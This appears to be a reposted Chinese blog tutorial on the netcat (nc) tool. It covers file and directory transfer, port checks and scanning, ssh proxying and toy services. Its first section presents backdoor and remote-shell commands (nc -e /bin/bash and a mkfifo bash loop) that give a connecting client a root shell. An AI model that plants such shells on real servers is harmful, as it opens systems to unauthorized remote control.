nc很强大,容易让人蹲号子

nc很强大,容易让人蹲号子原创 小姐姐味道 微信公众号 ID xjjdog 对于 nc 命令来说 可真的是要一行代码调半天 因为这行代码的威力是非常大的 当然 用不好的话 还会给自身带来麻烦 netcat 这个工具 简称 nc

大家好,我是讯享网,很高兴认识大家。


讯享网

原创:小姐姐味道(微信公众号ID:xjjdog)

对于nc命令来说,可真的是要一行代码调半天。因为这行代码的威力是非常大的!当然,用不好的话,还会给自身带来麻烦。

netcat这个工具,简称nc,是Linux上一个非常强大的工具(当然也有windows版本)。由于它能力实在太强,有些公司甚至对他进行了隔离(quarantined)。比如rename掉,或者给000的权限。因为它很容易可以在服务器上开一个后门(backdoor),并且及其方便。

那nc命令在什么地方呢?where is it?

# whereis nc nc: /usr/bin/nc /usr/share/man/man1/nc.1.gz 

讯享网

它告诉我,文件在/usr/bin目录下。我们使用file命令来看一下它的属性。结果发现它是一个链接文件。

讯享网# file /usr/bin/nc /usr/bin/nc: symbolic link to `ncat' 

从这里我们能够看出,nc的全称是ncatConcatenate and redirect sockets。这是一把瑞士军刀。

nc的参数非常非常多,如果列出来,会让你失去兴趣,白白错过了这么厉害的工具,也错过了进局子的机会。我们还是以案例来说明,这款不到1MB的命令,为什么俘获了xjjdog的芳心。

1. 服务器上安后门

下面的命令,将在机器上开放5879端口。服务端:

# nc -l -vv -p 5879 -e /bin/bash Ncat: Version 6.40 ( http://nmap.org/ncat ) Ncat: Listening on :::5879 Ncat: Listening on 0.0.0.0:5879 

这个过程叫做反弹shell,远程就可以使用nc命令连接,做一些事情。

客户端:

讯享网# nc -v 192.16.1.54 5879 Connection to 192.16.1.54 port 5879 [tcp/*] succeeded! 

想要更霸道一点的么?我们需要借助mkfifo命令。

在服务器上,执行下面两个命令,这就构造了一个循环。

rm -f /tmp/f; mkfifo /tmp/f cat /tmp/f | /bin/bash -i 2>&1 | nc -l 5879 > /tmp/f 

客户端nc连接以后,竟然直接出现了命令行操作终端!

讯享网$ nc -v 192.16.1.54 5879 Connection to 192.16.1.54 port 5879 [tcp/*] succeeded! [root@localhost~]# 

你可能会说,我客户端关掉之后,为什么服务端的命令也退出了?如果你想要服务端继续监听,可以加上参数-k

2.文件和目录传送

还在用sftp?还是用rzsz?

这些工具虽然好用,但需要安装。有时候事情紧急,或者权限把的严,并没有这样的工具。

此时,nc可以来帮忙。

服务端同样监听一个端口,但是这次把重定向定向到一个文件。

nc -l 5879 > file 

客户端就可以启动一个命令将文件发送过去。这次是使用反向的箭头。

讯享网nc -v 192.16.1.54 5879 < redis-5.0.5.tar.gz 

文件传的飞快!而且由于没有rsa那一套的加密,速度更快了。

查看它们的md5,一模一样。

MD5 (redis-5.0.5.tar.gz) = 224cabf26d622f37528be1578c md5sum file 224cabf26d622f37528be1578c file 

我知道你的脑子里现在在想着怎么传送目录了。这个过程很有意思。

我们把nc的输出,使用管道交给tar命令处理。xfvzcvfz是一对参数,你应该猜到要怎么做了。

讯享网nc -l 5879 | tar xfvz - 

没错,客户端的代码与上面的是相反的。不过这次,我们的nc命令接收了打包的文件。

tar cfz - redis-5.0.5 | nc -v 192.16.1.54 5879 

真的是非常巧妙。

3.网络连通性检测

没错,这是nc命令最常用的地方了。

如果你想要判断服务器的tomcat端口是否开启,不需要登陆到服务器上,然后再ps一下看一下进程,或者使用netstat -antl看一下监听的端口。

使用nc就可以了。

只需要简单的打上ip和端口,它就能知道结果。

讯享网# nc -vvv baidu.com 443 Connection to baidu.com port 443 [tcp/https] succeeded! 

当然,它也可以扫描主机的端口开放情况。不过对程序员来说用的不多。

nc -vzw 2 192.16.1.54 8888-9999 

4.防火墙穿透

比如下面这张图。你想要访问tongariro的这台机器,但是你是没有权限的。它只能通过aoraki的防火墙访问。同时,aoraki也只能接受来自ruapehu的请求。

通过组合ssh命令可以达到这个效果。

讯享网ssh -A -t ruapehu.example.com ssh -A -t aoraki ssh -A tongariro 

通过ssh的ProxyCommand,可以完成简单的配置。

使用下面的命令可以快速打通这个通道。

ssh -oProxyCommand="ssh host1 nc host2 22" host2 

5.其他

你可以看到了。nc的这些能力,不是nc自身提供的,而是其他额外的命令。

比如,这里实现一个简单的时间服务器。web浏览器访问即可获取。

讯享网ncat -lkp 8976 --sh-exec 'echo -ne "HTTP/1.0 200 OK\r\n\r\nThe date is "; date;' 

再比如,做一个远程视频服务。

arecord -f cd -c 2 | lame -b128 - - | netcat -u your-ip 6881 | mpg123 - 

客户端。

讯享网arecord -f cd -c 2 | lame -b128 - - | netcat -u -l 6881 | mpg123 -

推荐阅读:

  • Spring Cloud Feign 自定义配置(重试、拦截与错误码处理) 实践
  • Docker真的被禁止使用了?
  • Docker 被禁?还有千千万万个 Docker 站起来!!
  • 绝了!一个妹子 rm -rf 把公司整个数据库删没了...

喜欢我可以给我设为星标哦

好文章,我“在看”

小讯
上一篇 2025-03-17 16:43
下一篇 2025-02-24 23:55

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/31796.html